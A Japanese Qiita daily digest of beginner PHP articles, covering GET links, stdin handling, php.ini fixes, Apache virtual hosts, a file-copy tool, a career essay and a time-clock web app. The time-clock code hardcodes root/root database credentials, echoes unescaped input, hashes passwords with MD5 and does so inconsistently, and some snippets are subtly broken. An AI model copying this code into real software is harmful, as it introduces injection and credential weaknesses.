20201123のPHPに関する記事は15件です。

formを使ってGET送信なんてもうしない!

まずはGETとPOSTの違いについて自己流で簡単に笑
・GET idやkeyを送りたい 直接URLアクセスが可能
・POST 大事なデータ(パスワードなど)をデータベースに格納したい時

例えるなら厳しい母親がPOSTとすると、GETは優しいおばあちゃんみたいな(全然ズレてたらごめんなさい笑)

と、まぁ冗談はこれくらいにして
本題はどうやってform使わずに簡単にget送信するかって話。

まずはこれが普通のget送信

send.php
~
<form method="get" action="receive.php" >
<input type="text" name="id">
</form>
~

仮にformに入れた値を 1 だとすると

receive.php
<?php
echo $_GET['id']; // 1

となりますよね。

それじゃあこれをHTMLのaタグを使ってやってみよう!
aタグってのはページを行き来したりするリンクことだね。

まずは散歩がてらに
普通に行き来するaタグがこれ

send.php
~
<a href="receive.php">受け取るページ</a>
~

になります。
このときにGETパラメータを渡すやり方がこちら

send.php
~
<a href="receive.php?id=1">受け取るページ</a>
~
receive.php
<?php
echo $_GET['id']; // 1

え?PHPで定義したidを送りたい??
考え方はシンプルにこうしてやろう!!

send.php
<?php
$id = '好きな数字';
?>
~
<a href="receive.php?id=<?php echo $id; ?>">受け取るページ</a>
~
receive.php
<?php
echo $_GET['id']; // 好きな数字

と、ざっくりこんな感じです!
これでformなんて作らずにGET送信ができましたね!

よし!今日はこれで終わ、、、

え!? 複数の値を送りたいだって!!??
そんなことが、、、。

できます!!
ここまで見てくださったあなたに特別ですよ?(笑)

send.php
<?php
$id = '好きな数字';
$name = '好きな名前';
$email = 'Eメール';
?>
~
<a href="receive.php?id=<?php echo $id; ?>&name=<?php echo $name; ?>&email=<?php echo $email; ?>">受け取るページ</a>
~

間に & を挟むだけ!簡単です!!
これで三つの値を同時に送ることができます。

receive.php
<?php
echo $_GET['id']; // 好きな数字
echo $_GET['name']; // 好きな名前
echo $_GET['email']; // Eメール

普段はポエム書いてます!
よろしければTwitterもフォローしてください!!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPで標準入力の値を取得するときの注意

はじめに

fgets(STDIN)で標準入力の値を取得すると改行されることを知らなくてハマったときのこと

こうなってしまう

入力
Hello
$input = fgets(STDIN);
$length = strlen($input);
echo $input . ' is ' . $length . ' letters.';
出力
Hello
 is 6 letters.

対策

そのままだと改行されてしまうし文字数も合わないので改行コードを消す、というかクォーテーションで囲んで空白(スペースではない)に置換する

$input = fgets(STDIN);
$input = str_replace(PHP_EOL, '', $input);
echo $input . ' is ' . $length . ' letters.';
出力
Hello is 5 letters.
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP 処理で "Warning: Cannot modify header information…" が出たときの解決方法

さくらのレンタルサーバ(スタンダードプラン)で WordPress をおまかせインストールした後、ちょっと色々の必要があって、さくらサーバの「コントロールパネル」を使って php.ini を(はじめて)設定したら、

PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/XXXX/www/AAAA.php:NNN) in /home/XXXX/www/index.php on line NNN
PHP Warning:  Use of undefined constant SOME_VALUE - assumed 'SOME_VALUE' (this will throw an Error in a future version of PHP) in /home/XXXX/www/index.php on line NNN

などという Warning とともにページが表示されなくなって焦ったのでメモ。問題だったのは 1 行目の Cannot modify header information… なのだが、2 行目の Warning も生じていたことにより発見が遅くなった(後述)。

環境

  • PHP 7.4.10
  • さくらのレンタルサーバ
    • 2020/11/23 に発生・解決

解決方法

/home/XXXX/www 直下にある php.ini に以下を設定する。

output_buffering = On

さくらインターネットのコントロールパネル的には以下の操作です。

  1. さくらインターネットコントロールパネルにログイン
  2. PHP設定の編集をクリック
  3. php.ini 設定ファイル編集画面で「output_buffering = On」を入力し「保存する」をクリック
  4. エラーが出ていた所が正常にリダイレクト処理を行っているか確認

参考 : [さくらインターネット スタンダードプラン]リダイレクト処理ができない - じゃみじゃみ.net

原因

リダイレクトの際にこれを設定していないとうまく動かないということらしい。「原因」と銘打っておきながらよくわかってない1

発見が遅れたわけ

発見が遅れた理由は次のことが発生したためである。

  1. 二行目の Warning の意味がわかってなかった
  2. 二行目の Warning 解消で画面表示がなくなり問題に気づかなかった

それぞれ説明しておく。

二行目の Warning の意味がわかってなかった

上記の通り

PHP Warning:  Use of undefined constant SOME_VALUE - assumed 'SOME_VALUE' (this will throw an Error in a future version of PHP) in /home/XXXX/www/index.php on line NNN

という Warning もでていた。これはシンプルには「未定義な定数だ。ひょっとして任意のテキストか? テキストならクォーテーションで囲んどけ。将来的なバージョンではエラーになるぞ」という Warning である。ここでは単にユーザ(私)が未定義な変数を参照しようとしているという間違いなのだが、PHP はこれをみて「任意の文字列を入れようとしているならちゃんとクォーテーションで囲めよ」と解釈して、こういった Warning を出しているようである。

これに気づくのに時間がかかり、この Warning が出る行をコメントアウトしたり、むやみにクォーテーションをつけるなど色々試してしまった。

二行目の Warning 解消で画面表示がなくなり問題に気づかなかった

結局、先の未定義定数部分を取り除けば問題となるのは Cannot modify header information... だけだったのだが、この問題だけになるとブラウザ画面が真っ白になるという状態になった。それまではブラウザ画面上にページのコンテンツと共にいくつかの Warning メッセージが吐き出されていたいたのだが、Use of undefined constant がなくなると、ブラウザにはまったく何も表示されないのである。そのため結果として

二行目 Warning の原因をコメントアウトするかしないかで問題が生じている

と勘違いしてしまい、Cannot modify header information… の Warning を調べ始めるまでに時間がかかってしまった。

参考資料


  1. というか……一度さくらのコントロールパネル上で php.ini を作って、問題が生じ始めた(Warning 出始めた)ので一旦中身を削除したのに元に戻らないってどういうことやねん、と焦った。php.ini を作成する以外に何か処理をしているのだろうか。「php.ini さくら デフォルト」みたいなキーワードで無駄にググったりしてしまった。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する

【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する

使用環境

  • windows 10 Home(COREi7)
  • XAMPP 7.3.18
  • Laravel 6

そもそもVirtual Hostって何?

バーチャルホストという用語は、1 台のマシン上で (company1.com と company2.com のような) 二つ以上のウェブサイトを扱う運用方法のことを指します。
Apache バーチャルホスト説明書

virtual hostの設定

  • C:\xampp\apache\conf\extra の中のhttpd-vhost.confファイルをまずコピーを取っておく。

  • 以下の部分を書き換える

##NameVirtualHost *:80

・・・中略・・・

##<VirtualHost *:80>
    ##ServerAdmin webmaster@dummy-host.example.com
    ##DocumentRoot "C:/xampp/htdocs/dummy-host.example.com"
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog "logs/dummy-host.example.com-error.log"
    ##CustomLog "logs/dummy-host.example.com-access.log" common
##</VirtualHost>

  • 下記を参考に書き換える
NameVirtualHost *:80

・・・中略・・・

Listen 10001
<VirtualHost localhost:10001>
    ##ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot "C:\laravel\practice\public"
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog "logs/dummy-host.example.com-error.log"
    ##CustomLog "logs/dummy-host.example.com-access.log" common
    <Directory "C:\laravel\practice\public">
      AllowOverride All
      Options +Indexes
      Require all granted
    </Directory>
</VirtualHost>


  • 新しくポートを作る。

  • 任意で指定するポート番号を付ける(今回は10001を使用)
    Listen 10001と記入

  • その下にVirtualHostの設定を書き込む
    DocumentRootの#を外しディレクトリ設定を書き込む
     AllowOverride All
     →.htaccessで設定可能なものは全て有効になる

 Options +Indexes
 →ディレクトリに対するリクエストに対して、DirectoryIndex で指定したファイル(index.html 等)が存在しない場合に、ディレクトリ内ファイルの一覧を表示

 Require all granted
 →無条件でアクセスを許可

Apache HTTP SERVER PROJECT

  • DocumentRootとDirectoryにLaravelプロジェクト(今回はpractice)のpublicを指定する

参考

Qiita:ApacheのVirtual Hostってなんだ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【PHP】ファイルコピーツールを作ってみよう

はじめに

PHPでツール作成の二回目です。
今回はファイルコピーツールを作成していきたいと思います。

ツール動作イメージ

ツールの動作イメージです。
qiita_01.png
コピー元フォルダにある指定したファイルをコピー先フォルダへコピーするといった動作になります。

ツール要件

今回のツールの要件は以下とします。

  • コピー元、コピー先フォルダは絶対パスでプログラム内部で定義する
  • コピー元、コピー先フォルダ、コピーファイル一覧テキストファイルが存在しない場合はエラーメッセージを表示し終了する
  • コピー対象ファイルの一覧は「file_list.txt」の中に改行区切り(CRLF)で記載する
  • file_list.txt」に記載されているファイルが存在しなかった場合はコピーを実行せず、次のファイルを参照する
  • スクリプト実行後「コピー元フォルダパス」「コピー先フォルダパス」「コピーしたファイル数」を出力する

上記の要件を基に自力で作れる方はぜひ作ってみて下さい。
サンプルコードは以下になります。※クリックで開きます

サンプルコード
file_copy.php
<?php
//------------------------------------------------------
// 
// [スクリプト概要]
// テキストファイルの一覧にあるファイルを特定のフォルダへコピーする
// 
//------------------------------------------------------

$fromFolder = "C:\\xampp\\htdocs\\php_copy_tool\\from"; // コピー元フォルダ
$toFolder = "C:\\xampp\\htdocs\\php_copy_tool\\to";     // コピー先フォルダ
$loadFileName = "./file_list.txt";          // ファイルリスト

// エラーチェック
$errorMessage = "";

if( !file_exists($fromFolder) ){
    $errorMessage .= "「".$fromFolder."」フォルダが見つかりません\n";
}
if( !file_exists($toFolder) ){
    $errorMessage .= "「".$toFolder."」フォルダが見つかりません\n";
}
if( !file_exists($loadFileName) ){
    $errorMessage .= "「".$loadFileName."」ファイルが見つかりません\n";
}

if( $errorMessage != "" ){
    echo "[エラー]\n";
    echo $errorMessage;
    return;
}

// ファイルリスト読み込み
$file = file_get_contents( $loadFileName );
$fileList = explode( "\r\n", $file );

$copyFileNum = 0;   // 実際にコピーしたファイル数

echo "-----[ファイルコピー開始]-----\n";

// ファイルコピー実行
for( $i=0; $i<count($fileList); $i++ ){
    $copyFile = "".$fromFolder."\\".$fileList[$i]."";
    if( !file_exists($copyFile) ){  // ファイルが存在しなかった場合は処理しない
        continue;
    }
    $copyFileNum++;
    $distFile = "".$toFolder."\\".$fileList[$i]."";
    copy( $copyFile, $distFile );
}
echo "コピー元フォルダ:".$fromFolder."\n";
echo "コピー先フォルダ:".$toFolder."\n";
echo "コピーファイル数:".$copyFileNum."\n";
echo "-----[ファイルコピー終了]-----\n";

?>

コード解説

コードを見れば大体分かるかと思いますが、以下の処理を実行しています

  • 13~30行目・・フォルダやファイルが存在するかチェックし、一つでも存在しなかったらエラーメッセージを表示し終了しています。
  • 32~34行目・・ファイルリストを読み込んでいます。改行コードがCRLFなので\r\n区切りで配列にしています。
  • 40~49行目・・ファイルをコピーしています。

その他(デバッグ手法について)

プログラムを作成していて実行するとエラーが発生し、上手く実行出来ないことがあると思います。
デバッグについては人によって様々な手法、考え方があると思いますが、私は良く以下の方法を使っています。

1.exit
特定の箇所まで実行し、正常に動作するか確認する時に使用します。
最初から最後まで一気に実行し、一回で上手く動作することはあまり無いと思います。
そういった時は一気に実行せず、特定の箇所まで実行したらそこでプログラムをストップし、そこまで正常に動作しているか確認すると良いです。
PHPでは「exit;」と記述すると、そこに来た時点でスクリプトを停止させることが出来ます。

2.var_dump
変数の中身が想定通りになっているか確認する時に使用します。
上手く動かない原因として、変数に自分が想定した値が入っていないといったことが良くあります。
そういった時はvar_dump(変数名);と記述すると、その変数の中身が表示出来ます。
配列変数なども表示出来るので非常に便利です。

以下のように使用します。

debug.php
<?php
$loadFileName = "./file_list.txt";
$file = file_get_contents( $loadFileName );
$fileList = explode( "\r\n", $file );
var_dump( $fileList );
exit;
?>

実行すると、こんな感じで変数の中身が表示されます。
配列の要素数やそれぞれの要素の値などが全て出力されていることが分かると思います。
qiita_02.png

最後に

PHPを使用して簡単にWindows環境で動作するツールが作成出来ることが理解出来たかと思います。
環境構築も楽に出来るので是非作ってみて下さい。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

大手日系メーカーからITベンチャーに転職して思うこと

大手日系メーカーからITベンチャーへ

何を思ったかITベンチャーへ転職をして半年が経ちました。(やっていたことはPHP, HTML, JavaScriptなど)
なんとなく半年経って思うことをまとめておこうと思います。

転職して思うこと

20代の若いうちは貴重な時間なので、もしやりたいことがあるのであれば転職は早いうちにしたほうがいいと思った。
(年次が上がれば上がるほど転職を決断するのは難しかっただろう…)

大手勤務時代は、やりたくないことをしてただただ時間が過ぎていく感じがした。
(まぁ、かと言ってベンチャーがそうじゃないとは言い切れないところがあるが、
大手特有の若手に対して理不尽な感じとか何事にも納得できない感じとかは今はしない)

あと、周りのほとんどの人が仕事に対して情熱がなかった。
なんとかやり過ごそうとする人が多く、きつかった。
何のために仕事をして、何がしたいのか分からなかった。
向上心のある人と働きたいと思った。

<環境について>
大手勤務時代は人が多くて人付き合いに疲れて、仕事に集中できなかった。
ベンチャーは人数が少なくていい。
無駄に気を使う必要がない。風通しが良い。
老害っぽい人が少ない、社内政治に巻き込まれない、興味のないゴシップに巻き込まれない(小声)
若手が多いからか気が合うのかも。。

大手、特に日系メーカーだとルールが厳して、それを守らないと酷く怒られる。
中には理解に苦しむものも多く、若手は仕事しづらい場合も多い。
ベンチャーにはそもそもルールが少なく、社員同士で考えながら物事を進めていく感じがあってよい。
なんだがだいぶ自由になれた気がする。

ただ、結局のところ大手でもベンチャーでも被雇用者であるわけで、ある意味では雇い主の奴隷みたいなところはある。
そこらへんのバランスは自分の中でもうまく考えてやっていかないといけないなぁと思うところですね:eyes:

ITベンチャーに行って得たもの?

・やる気のある前向きな同僚(メーカー時代は会社に居座ろうとする考えの人が多かった)
・活気のある職場(同上)
・より主体的に行動ができる(他部署や業績不振に影響される不安から解放された、”歯車感”が減った)
・勉強すればするほど仕事にも活きてくるので勉強が楽しい
・プログラミングの技術的な話が聞けて、成長できる
・会社大きくなっていくことを考えるとなんだかロマンがある

大手メーカーを辞めて失ったもの?

・年功序列で上がっていく給料
  →資格取得などして自分で自分の評価を上げていく(修羅の道)
・安定(?)
  →首を切られてもある程度は生きていけるように知識と技術力を身に着ける(修羅の道)
・良い世間体や社会的信用(?)
  →ある意味しょうがない
・ローンが組みにくくなった
  →ローンは組まない
・大企業に勤める友人とは話が合いにくくなったかも
  →ある意味しょうがない

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP備忘録

user_add.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title> WEB打刻システム</title>
</head>
<body>

社員追加<br />
<br />
<form method="post" action="add_check.php">
社員名を入力してください。<br />
<input type="text" name="name" style="width:200px"><br />
パスワードを入力してください。<br />
<input type="password" name="pass" style="width:100px"><br />
<!-- パスワードをもう1度入力してください。<br />
<input type="password" name="pass2" style="width:100px"><br />
<br /> -->
<input type="button" onclick="history.back()" value="戻る">
<input type="submit" value="OK">
</form>

</body>
</html>
add_check.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WEB打刻システム </title>
</head>
<body>

<?php

try
{

$name=$_POST['name'];
$pass=$_POST['pass'];

// $name=htmlspecialchars($name,ENT_QUOTES,'UTF-8');
// $pass=htmlspecialchars($pass,ENT_QUOTES,'UTF-8');


$dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$sql='INSERT INTO user (name,password) VALUES (?,?)';
$stmt=$dbh->prepare($sql);
$data[]=$name;
$data[]=$pass;
$stmt->execute($data);

$dbh=null;

print $name;
print '様を追加しました。<br />';

}
catch (Exception $e)
{
    print '下記までお問い合わせお願い致します。<br>';
    print '06-××××-××××';
    exit();
}

?>

<a href="time_stamp.php"> トップへ</a>

</body>
</html>
time_stamp.php

<?php
session_start();
if(isset($_SESSION['login'])==false)
{
  print'ログインされてません<br/>';
  print'<a href="login.html">ログイン画面へ<a/>';
  exit();
}

print $_SESSION['code'];
print ':';
print $_SESSION['name'];

$data = date("H:i:s");

?>




<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title> WEB打刻システム</title>
</head>
<body>
<?PHP
print '<form method="post" action="stamp_check.php">';
print '<input type="hidden" name="attend" value="'.$data.'">';
print '<input type="submit" name=""attend" value="出勤">';
print '</form>';
print '<form method="post" action="stamp_check.php">';
print '<input type="hidden" name="leavework" value="'.$data.'">';
print '<input type="submit" name=""leavework" value="退勤">';
print '</form>';
print '<form method="post" action="stamp_check.php">';
print '<input type="hidden" name="break" value="'.$data.'">';
print '<input type="submit" name=""break" value="休憩">';
print '</form>';
print '<form method="post" action="stamp_check.php">';
print '<input type="hidden" name="breakeo" value="'.$data.'">';
print '<input type="submit" name=""breakeo" value="戻り">';
print '</form>';

?>

<a href="login.html"> ログイン</a>
<a href="logout.php"> ログアウト</a>
<a href="user_add.php"> 社員追加</a>
<a href="list.php"> 社員一覧</a>


</body>
</html>
sub.php

<?php

if(isset($_POST['edit'])==true)
{
    if(isset($_POST['code'])==false)
    {
        header('Location:list.php');
        exit();
    }
    $code=$_POST['code'];
    header('Location:edit.php?code='.$code);
    exit();
}

if(isset($_POST['delete'])==true)
{
    if(isset($_POST['code'])==false)
    {
        header('Location:list.php');
        exit();
    }
    $code=$_POST['code'];
    header('Location:delete.php?code='.$code);
    exit();
}


?>
stamp_check.php

<?php
session_start();

?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WEB打刻システム</title>
</head>
<body>

<?PHP
if(isset($_POST['attend'])==true)
{
  try
  {
  $code=$_SESSION['code'];

  $dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
  $dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

  $sql='INSERT INTO time (attendance,user_code) VALUES (?,?)';
  $stmt=$dbh->prepare($sql);
  $data[]=date("m-d H:i");
  $data[]=$code;
  $stmt->execute($data);

  $dbh=null;

  }
  catch(Exception $e)
  {
    print'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
  }
}

if(isset($_POST['leavework'])==true)
{
  try
  {
  $code=$_SESSION['code'];

  $dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
  $dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

  $sql='INSERT INTO time (leave_work,user_code) VALUES (?,?)';
  $stmt=$dbh->prepare($sql);
  $data[]=date("m-d H:i");
  $data[]=$code;
  $stmt->execute($data);

  $dbh=null;

  }
  catch(Exception $e)
  {
    print'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
  }
}

if(isset($_POST['break'])==true)
{
  try
  {
  $code=$_SESSION['code'];

  $dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
  $dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

  $sql='INSERT INTO time (break,user_code) VALUES (?,?)';
  $stmt=$dbh->prepare($sql);
  $data[]=date("m-d H:i");
  $data[]=$code;
  $stmt->execute($data);

  $dbh=null;

  }
  catch(Exception $e)
  {
    print'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
  }
}

if(isset($_POST['breakeo'])==true)
{
  try
  {
  $code=$_SESSION['code'];

  $dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
  $dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

  $sql='INSERT INTO time (breake_out,user_code) VALUES (?,?)';
  $stmt=$dbh->prepare($sql);
  $data[]=date("m-d H:i");
  $data[]=$code;
  $stmt->execute($data);

  $dbh=null;

  }
  catch(Exception $e)
  {
    print'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
  }
}

?>
<p>登録しました<p>
<a href="time_stamp.php"> トップへ</a>

</body>
</html>
logout.php

<?php
session_start();
$_SESSION=array();
if(isset($_COOKIE[session_name()])==true)
{
    setcookie(session_name(),'',time()-42000,'/');
}
session_destroy();
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WEB打刻システム</title>
</head>
<body>

ログアウトしました。<br />
<br />
<a href="login.html">ログイン画面へ</a>

</body>
</html>
login.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WEB打刻システム</title>
</head>
<body>

社員ログイン<br />
<br />
<form method="post" action="login_check.php">
社員コード<br />
<input type="text" name="code" ><br />
パスワード<br />
<input type="password" name="pass"><br />
<br />
<input type="submit" value="ログイン">
<a href="user_add.php">登録画面へ</a>
</form>
</body>
</html>
login_check.php

<?php

try
{

$code=$_POST['code'];
$pass=$_POST['pass'];

$pass=md5($pass);

$dsn='mysql:dbname=time_manage;host=localhost;charset=utf8';
$user='root';
$password='root';
$dbh=new PDO($dsn,$user,$password);
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$sql='SELECT name FROM user WHERE code=? AND password=?';
$stmt=$dbh->prepare($sql);
$data[]=$code;
$data[]=$pass;
$stmt->execute($data);

$dbh=null;

$rec=$stmt->fetch(PDO::FETCH_ASSOC);

if($rec==false)
{
    print '入力内容が間違っています。<br />';
    print '<a href="login.html"> 戻る</a>';
}
else
{

  session_start();
  $_SESSION['login']=1;
  $_SESSION['code']=$code;
  $_SESSION['name']=$rec['name'];

    header('Location:time_stamp.php');
    exit();
}

}
catch(Exception $e)
{
    print '下記までお問い合わせお願い致します。<br>';
    print '06-××××-××××';
    exit();
}

?>
list.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title> web打刻システム</title>
</head>
<body>

<?php

try
{

$dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$sql='SELECT code,name FROM user WHERE 1';
$stmt=$dbh->prepare($sql);
$stmt->execute();

$dbh=null;

print '社員一覧<br/><br/>';

print '<form method ="post" action="sub.php">';

while(true)
{
    $rec=$stmt->fetch(PDO::FETCH_ASSOC);
    if($rec==false)
    {
        break;
  }
  print'<input type="radio" name="code" value="'.$rec['code'].'">';
  print $rec['code'];
  print ":";
    print $rec['name'];
    print '<br />';
}


print'<input type="submit" name="edit" value="編集">';
print'<input type="submit" name="delete" value="削除">';
print'</form>';

}
catch (Exception $e)
{
     print 'ただいま障害により大変ご迷惑をお掛けしております。';
     exit();
}

?>

<br/>
<a href="time_stamp.php">トップへ</a><br/>

</body>
</html>
edit.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WEB打刻システム</title>
</head>
<body>

<?php

try
{

// $code=$_POST['code'];
$code=$_GET['code'];

$dsn='mysql:dbname=time_manage;host=localhost;charset=utf8';
$user='root';
$password='root';
$dbh=new PDO($dsn,$user,$password);
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$sql='SELECT name FROM user WHERE code=?';

$stmt=$dbh->prepare($sql);
$data[]=$code;
$stmt->execute($data);


$rec=$stmt->fetch(PDO::FETCH_ASSOC);

$name=$rec['name'];


$dbh=null;

}
catch(Exception $e)
{
    print'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
}

?>

社員修正<br />
<br />
社員コード<br />
<?php print $code; ?>
<br />
<br />
<form method="post" action="edit_check.php">
<input type="hidden"name="code" value="<?php print $code; ?>">
社員名<br />
<input type="text" name="name" style="width:200px" value="<?php print $name; ?>"><br />
パスワードを入力してください。<br />
<input type="password" name="pass" style="width:100px"><br />
<input type="button" onclick="history.back()" value="戻る">
<input type="submit" value="OK">
</form>

</body>
</html>
edit.done.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title> WEB打刻システム</title>
</head>
<body>

<?php

try
{

$code=$_POST['code'];
$name=$_POST['name'];
$pass=$_POST['pass'];

$name=htmlspecialchars($name,ENT_QUOTES,'UTF-8');
$pass=htmlspecialchars($pass,ENT_QUOTES,'UTF-8');

$dbh=new PDO('mysql:dbname=time_manage;host=localhost;charset=utf8','root','root');
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$sql='UPDATE user SET attend=? WHERE code=?';
$stmt=$dbh->prepare($sql);
// $data[]=$name;
// $data[]=$pass;
$data[]=date("H:i:s");
$data[]=$code;
$stmt->execute($data);

$dbh=null;



}
catch (Exception $e)
{
    print 'ただいま障害により大変ご迷惑をお掛けしております。';
    exit();
}

?>

修正しました。<br/>
<br/>
<a href="list.php"> 戻る</a>

</body>
</html>
edit.check.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title> WEB打刻システム</title>
</head>
<body>

<?php

$code=$_POST['code'];
$name=$_POST['name'];
$pass=$_POST['pass'];

$name=htmlspecialchars($name,ENT_QUOTES,'UTF-8');
$pass=htmlspecialchars($pass,ENT_QUOTES,'UTF-8');
;

if($name=='')
{
    print 'スタッフ名が入力されていません。<br />';
}
else
{
    print 'スタッフ名:';
    print $name;
    print '<br />';
}

if($pass=='')
{
    print 'パスワードが入力されていません。<br />';
}

if($name=='' || $pass=='')
{
    print '<form>';
    print '<input type="button" onclick="history.back()" value="戻る">';
    print '</form>';
}
else
{
    $pass=md5($pass);
  print '<form method="post" action="edit_done.php">';

    print '<input type="hidden" name="code" value="'.$code.'">';
    print '<input type="hidden" name="name" value="'.$name.'">';
    print '<input type="hidden" name="pass" value="'.$pass.'">';
    print '<br /> ';
    print '<input type="button" onclick="history.back()" value="戻る">';
    print '<input type="submit" value="OK">';
    print '</form>';
}

?>

</body>
</html>
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

配列を繰り返して取り出す処理が言語によって微妙に違う…

for文で配列を1つづつ取り出して変数に代入したいことってよくありますよね。
色々な言語による微妙な違いで脳がやられます。ここではPython,JavaScript,PHPを取り上げます。


Pythonだと

for(変数 in 配列)
    #繰り返したい処理

inなんですよね。そしてPythonは{}なしでインデントで表します。

でみんな大好きJSだと

//配列のとき
for(変数 of 配列){
    //繰り返したい処理
}

ofなんですよね。ちなみにオブジェクトだとinを使います。

で、PHPだと

foreach($配列 as $変数){
    //繰り返したい処理
}

for文ではなくforeach使ってしかもasです。

混同しそうです………

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPスクリプトで発生したエラーがどの出力レベルで報告されるのかを確認するスクリプト

この記事は,PHP Advent Calendar 2020 3日目の記事として公開される予定です(11月23日記載).

今年のカレンダーは @rana_kualu さんが作成してくれました.ありがとうございました.

本題

phpのスクリプトで発生したエラーについて,そのエラーがどの出力レベルで報告されるかを確認するスクリプトです.

error_reporting.sh
#!/bin/bash

SCRIPT_NAME="$1"

LEVELS=(E_ERROR E_WARNING E_PARSE E_NOTICE E_CORE_ERROR E_CORE_WARNING E_COMPILE_ERROR E_COMPILE_WARNING E_USER_ERROR E_USER_WARNING E_USER_NOTICE E_STRICT E_RECOVERABLE_ERROR E_DEPRECATED E_USER_DEPRECATED)

for LEVEL in ${LEVELS[@]};
do
  echo "${LEVEL}"
  php -d error_reporting=${LEVEL} "$1"
done

実行結果はこんな感じです.

$ . ./error_reporting.sh e_notice.php 
E_ERROR
E_WARNING
E_PARSE
E_NOTICE
PHP Notice:  Undefined variable: a in /home/taro/projects/php-fun/e_notice.php on line 4
PHP Stack trace:
PHP   1. {main}() /home/taro/projects/php-fun/e_notice.php:0
E_CORE_ERROR
E_CORE_WARNING
E_COMPILE_ERROR
E_COMPILE_WARNING
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE
E_STRICT
E_RECOVERABLE_ERROR
E_DEPRECATED
E_USER_DEPRECATED

読み込んだファイルです.

e_notice.php
<?php

echo $a;

以上 PHP Advent Calendar 2020 3日目でした.

明日は @yoshikyoto さんです.

参考・関連

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

実務経験で身につけた技術 ~PHP編~

はじめに

未経験から実務経験2か月ちょっとを経て、1つのサイトを完成させることができたので(もちろん色々な人の手助けあってですが)、今後に生かすインプットと自分の備忘録としてPHP、JavaScript・jQuery、HTML・CSSの3つに分けて記録していきます。
この記事では、PHP(FWのEthna含む)について書いていきます。
なお、身につけた技術は随時、記録・更新していきます。
他の記事については、下記のリンク先からご覧ください。

別の記事のリンク

PHP

foreach

//$test_listは多次元配列
foreach($test_list as $key=>$value){
 $test_list['user'] = $value['user'];
}
$this->af->setApp('test',$test);

多次元配列(配列に配列を持つもの)の$test_list$valueで置き換えることで、本来は$test_list[$key]['user']$value['user']で取り出すことができる。
[キー]の部分をforeachが0,1,2~と当てはめているイメージ。
最後にsetAppとすれば呼び出し時、{{foreach from=$app.test_list item=value key=key}}で呼び出せる。
itemにforeachと同じvalue、keyにkeyで呼び出し時も$value.user(PHPは['user'])、配列のキーも$keyで呼び出せる。

$test_list = array('name1_'.$key,'name2_'.$key<中略>);
foreach($test_list as $form_name){
  //配列のエラー処理
}

普通の連想配列である$testの中身を一つずつエラー検証するために利用。
上記の処理なら'name1_'.$keyとしているので、name1_0、name1_1~に該当する複数の値に対してもエラーチェックすることができる。

explode

//$test_listは多次元配列
$tel = explode('-',test_list[$key]['tel']); //'-'を基準に文字列を分割
$test_list[$key]['tel1'] = $tel[0];
$test_list[$key]['tel2'] = $tel[1];
$test_list[$key]['tel3'] = $tel[2];

explode(引数1、引数2、引数3)。
引数1:区切り文字(separator)
引数2:文字列(string)
引数3:戻り値として返す、配列の最大要素数(delimiter)
上記により、-で文字が区切られ、電話番号であれば、3つの配列を$telは与えられる。
よって一つを呼び出すときには、$tel[0]'と指定する。

最後に

まとめることでなんとなく理解していた箇所をクリアに理解することができました。
まだ全然書ききれていないので、随時更新します。
今後もアウトプットした分だけインプットするよう心掛けていきます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

待って!継承だけで大丈夫?

はじめに

PHPのオブジェクト指向に慣れてきた人は自ずと頭の中で設計を練り、コードを書くと思います。
